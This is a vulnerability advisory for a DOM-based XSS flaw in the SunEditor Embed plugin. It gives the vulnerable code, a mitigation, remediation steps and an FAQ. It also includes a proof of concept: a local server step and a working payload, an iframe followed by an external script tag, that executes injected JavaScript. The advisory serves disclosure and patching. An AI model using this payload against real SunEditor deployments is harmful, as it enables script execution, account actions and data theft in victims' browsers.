CVE-2026-54606: SunEditor: DOM XSS in SunEditor Embed Plugin via External Script Element After Iframe Embed
Summary
A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.
If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.
Details
The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.
Relevant behavior:
const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children; if (/^script$/i.test(chd.nodeName)) { scriptTag = dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null); continue; } cover.appendChild(scriptTag);
Because the script is newly created and appended, it executes.
PoC
Start a local server hosting a JavaScript payload:
mkdir -p /tmp/suneditor-poc cd /tmp/suneditor-poc
cat > poc.js <<'EOF' alert(1); console.log("SunEditor Embed Plugin XSS executed"); EOF
python3 -m http.server 8000
Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :
<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script> Successful exploitation is confirmed when:
alert(1) appears
or the local server logs:
GET /poc.js
Impact
An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.
The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.
Suggested Fix
Do not recreate or append script elements from user-controlled embed HTML.
Minimum mitigation:
if (/^script$/i.test(chd.nodeName)) { continue; }
A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.
Other sources
SunEditor is a lightweight and powerful WYSIWYG editor in vanilla JavaScript with no dependencies. Prior to 3.1.4, the SunEditor Embed plugin in src/plugins/modal/embed.js parses attacker-controlled raw embed HTML with DOMParser and processes the resulting DOM nodes. When an external script element follows a valid iframe, the plugin recreates a script element from the attacker-controlled src attribute and appends it to the live DOM, causing JavaScript execution in the editor page. If an application stores or reflects SunEditor content without additional backend sanitization, an attacker who can submit embed HTML can trigger stored or reflected cross-site scripting when another user opens, previews, renders, or edits the content, enabling access to page data and account actions as the victim. This issue is fixed in version 3.1.4.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/suneditorto a version that resolves this vulnerability.Fixed in 3.1.4 - Upgrade
Upgrade
SunEditor Embed pluginto a version that resolves this vulnerability.Fixed in 3.1.4 - Configuration
Update SunEditor Embed plugin behavior so it parses embed HTML as a safe subset only (e.g., keep only iframe or blockquote), sanitizes allowed attributes, discards all other sibling elements, and explicitly does not recreate/append any <script> elements (including external scripts via src) from attacker-controlled embed HTML.
SunEditor Embed plugin embed HTML sanitization logic = Allow only expected embed elements (e.g., iframe or blockquote), sanitize their attributes, and discard all other sibling elements; do not recreate/append script elements from user-controlled embed HTML. - Compensating control
Ensure SunEditor content (especially embed HTML) is stored/reflected with additional backend sanitization beyond what the Embed plugin does; do not rely solely on client-side parsing/sanitization to prevent stored or reflected XSS when content is reopened, previewed, rendered, or edited by other users.
Event History
Frequently Asked Questions
Which applications are most exposed to this issue?
Applications that allow users to create or supply SunEditor content and later store, reflect, preview, render, or reopen that content are exposed if they do not apply additional backend sanitization. The impact occurs in the context of the editor page when another user handles the malicious content.
What does an attacker need to exploit the vulnerability?
The attacker needs a way to submit crafted embed HTML processed by the SunEditor Embed plugin. The payload includes a valid iframe followed by a script element with an attacker-controlled external src attribute.
Does client-side plugin sanitization prevent exploitation?
No. The described input bypasses the Embed plugin's sanitization logic because the plugin creates a new script element from the supplied src value and appends it to the live DOM, which causes it to execute.